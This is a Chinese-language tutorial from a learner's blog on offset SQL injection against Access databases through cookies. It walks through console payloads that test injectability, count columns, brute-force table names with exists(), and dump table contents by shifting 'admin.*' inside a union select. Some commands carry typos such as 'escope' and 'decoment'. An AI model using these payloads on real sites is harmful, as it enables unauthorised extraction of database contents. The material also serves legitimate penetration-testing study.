前言
由于我的学习进度到了偏移注入,所以在网上也查找相关资料来查漏补缺填补我的不足,但是我发现我与网上的博主注入思路相差不大,区别在于他们大都使用了SQL 内连接函数 inner join帮助输出结果,下面是我的方法!
对于Access数据库我上一篇的Access–cookie注入已经介绍过,偏移注入与cookie注入的方法和使用的函数部分相同。但是偏移注入的使用场景比它更加特殊
偏移注入只需要爆破出任一表名,不需要知道任意字段名即可完成注入。
1.原理
就是将目标表进行(多级)内连接,通过联合查询和已知目标字段名的微调,将我们想要知道的字段值在已经确定的显示位上暴露出来。
2.注入步骤
a.判断是否存在注入
与SQL注入相同在控制台输入
document.cookie="id="+escope("111 and 1=1") //页面正常
document.cookie="id="+escope("111 and 1=2") //页面报错
说明存在注入
b.判断字段数
document.cookie="id="+escope("111 order by 1") //逐个递增字段数,直至页面报错,则说明当前测试的数字即为字段总数
c.爆破库名
配合exists(“子查询”)爆破库名以及表名
document.cookie="id="+escope("111 and 1=2 exists(select *from aaaa)")
抓包后修改参数爆破aaaa,前提去掉URL中的GET传参,原因与具体爆破步骤查看前言提到的cookie注入篇,接着利用相同办法爆破得到表名
d.查看显错位
document.cookie="id="+escope("111 and 1=2 union select 1,2,3,4,5,6 from 表名")
尽量将查询数字写的有辨识度些,因为除了页面上显示出来的显错位,可能在控制台的报错信息中或者是源码中都有可能存在隐藏显错位
e.查询结果
偏移注入通常是解决一些注入不出来列表的时候,这时候想要知道内容就要借助admin.*的不断移动查找内容!
admin.*的作用:代表查找admin表下的所有字段
从图可以看出a666.*代表了a666里的所有字段(id和num),而且我们不需要知道字段名就可以同样查看内容,如果你只写 * 数据库是不知道你查询的是哪个表!
decoment.cookie="id="+escope("111 and 1=2 union select 1,admin.*,3,4,5,6 from 表名")//数据库内存在的任意表名即可
逐个删减字段数来判断要查询的表内存在几个字段,直到减到页面停止报错并回显内容时,这里引出一个编移注入的条件:注入点的表中字段数要足够长,要比你查询的表的字段要多!不然没有办法查询。
假如像上面注入点有6个字段,显错位为2,4,并且a666表只有2个字段,在我们不知道字段名的情况下即可查询到内容,
我们可以通过不断移动.*的位置来查看a666表中的所有字段内容。
3.总结
a.偏移注入不只是针对Access数据库
b.accese数据库时,偏移注入用top和desc组合,遍历数据,且!=不能使用
c.偏移注入可以很大程度上解决猜不到字段的问题,或者是碰到非常奇葩的字段名时。